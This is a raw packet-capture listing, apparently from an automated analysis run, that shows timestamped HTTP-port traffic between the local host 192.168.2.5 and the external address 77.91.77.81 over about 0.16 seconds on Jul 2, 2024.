Jul 2, 2024 04:13:06.982089043 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.982120991 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.982764959 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.982779026 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.982789993 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.982810974 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.982817888 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.982822895 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.982834101 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.982850075 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.982851982 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.982863903 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.982872009 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.982883930 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.982886076 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.982896090 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.982907057 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.982908010 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.982918024 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.982933044 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.982939959 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.982945919 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.982950926 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.982955933 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.982975006 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.982986927 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.983252048 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.983304977 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.983333111 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.983372927 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.983397007 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.983442068 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.983474970 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.983515024 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.983544111 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.983562946 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.983576059 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.983583927 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.983586073 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.983592033 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.983597994 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.983612061 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.983632088 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.983762980 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.983787060 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.983808041 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.983844042 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.983881950 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.983900070 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.983911037 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.983933926 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.983933926 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.983942032 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.983946085 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.983957052 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.983968973 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.983973980 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.983982086 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.983992100 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.983998060 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.984021902 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.984047890 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.984055042 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.984067917 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.984080076 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.984090090 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.984093904 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.984102011 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.984112024 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.984112024 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.984124899 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.984141111 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.984153986 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.984154940 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.984164953 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.984177113 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.984200954 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.984227896 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.984301090 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.984312057 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.984317064 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.984327078 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.984332085 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.984337091 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.984343052 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.984370947 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.984452009 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.984466076 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.984476089 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.984492064 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.984498024 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.984512091 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.984524012 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.984527111 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.984534025 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.984544992 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.984555006 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.984558105 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.984565973 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.984576941 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.984589100 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.984590054 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.984600067 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.984612942 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.984622955 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.984622955 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.984641075 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.984641075 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.984652996 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.984663010 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.984663963 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.984672070 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.984674931 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.984685898 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.984695911 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.984711885 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.984715939 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.984723091 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.984735012 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.984738111 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.984745979 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.984755993 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.984756947 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.984769106 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.984774113 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.984806061 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.984833002 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.014400959 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.014410973 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.014420986 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.014431953 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.014442921 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.014460087 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.014465094 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.014471054 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.014482975 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.014486074 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.014492989 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.014512062 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.014518976 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.014523029 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.014532089 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.014537096 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.014543056 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.014553070 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.014560938 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.014564037 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.014585018 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.014602900 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.046350002 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.046363115 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.046371937 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.046380997 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.046400070 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.046408892 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.046408892 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.046420097 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.046431065 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.046432972 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.046441078 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.046451092 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.046451092 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.046462059 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.046467066 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.046473026 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.046483994 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.046488047 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.046499968 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.046525002 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.046546936 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.046559095 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.046585083 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.046606064 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.046608925 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.046619892 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.046629906 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.046642065 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.046644926 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.046658993 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.046677113 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.046792030 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.046802044 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.046828032 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.082201958 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.082214117 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.082223892 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.082267046 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.082278013 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.082288980 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.082298040 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.082303047 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.082334042 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.082345009 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.082415104 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.082427025 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.082436085 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.082447052 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.082458019 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.082463980 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.082468987 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.082480907 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.082492113 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.082494974 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.082505941 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.082509995 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.082525015 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.082535982 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.082537889 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.082551003 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.082559109 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.082562923 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.082576036 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.082582951 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.082585096 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.082609892 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.082623959 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.082636118 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.082644939 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.082655907 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.082668066 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.082675934 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.082690001 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.082716942 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.082870007 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.082881927 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.082890987 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.082905054 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.082916975 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.082921982 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.082926989 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.082941055 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.082962990 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.083018064 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.083035946 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.083050013 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.083060980 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.083061934 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.083072901 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.083082914 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.083089113 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.083098888 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.083113909 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.083115101 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.083126068 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.083128929 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.083153963 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.083175898 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.083177090 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.083189011 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.083198071 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.083209038 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.083216906 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.083221912 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.083230019 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.083233118 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.083244085 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.083255053 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.083260059 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.083266020 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.083267927 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.083287954 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.083296061 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.083300114 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.083309889 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.083319902 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.083328009 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.083340883 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.083345890 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.083352089 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.083362103 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.083374023 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.083378077 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.083383083 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.083389044 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.083400965 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.083411932 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.083411932 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.083422899 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.083432913 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.083436966 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.083444118 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.083450079 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.083456993 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.083472967 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.083484888 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.083487034 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.083496094 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.083504915 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.083508015 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.083518982 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.083522081 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.083530903 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.083540916 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.083545923 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.083553076 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.083573103 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.083591938 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.083606005 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.083616972 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.083626032 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.083642960 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.083648920 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.083652973 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.083662033 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.083666086 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.083677053 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.083681107 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.083688974 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.083710909 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.083719969 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.109427929 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.109441042 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.109452009 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.109463930 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.109476089 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.109489918 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.109499931 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.109502077 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.109513998 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.109520912 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.109527111 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.109539032 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.109539986 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.109553099 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.109555006 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.109571934 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.109580994 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.109584093 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.109601974 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.109606028 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.109628916 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.109646082 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.141437054 CEST	80	54802	77.91.77.81	192.168.2.5
